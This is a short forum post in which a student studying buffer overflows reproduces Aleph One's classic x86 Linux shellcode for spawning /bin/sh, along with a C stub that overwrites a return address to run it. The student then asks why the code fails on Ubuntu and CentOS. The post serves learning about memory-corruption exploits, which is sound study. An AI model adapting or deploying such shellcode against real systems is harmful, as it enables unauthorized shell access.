I'm learning about buffer overflow in class and so I looked up some stuff and stumbled upon a website with some sample code to overflow a buffer and make a shell. Here's the code below:
Code:
/*
* Run a shell via asm. No embedded NULL's.
*
* Written by Aleph One - taken from 'Smashing The Stack For Fun And Profit".
*
*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
It came from here: Shellcode : Linux
It says it was developed for Debian GNU/Linux and should work on other distributions without change. I'm using Ubuntu, and the code doesn't seem to be working. It doesn't launch a shell or anything. Should I try a Debian GNU/Linux distrbution and see if it works? I've also tried running it remotely on one of my schools linux terminals to no avail (CentOS).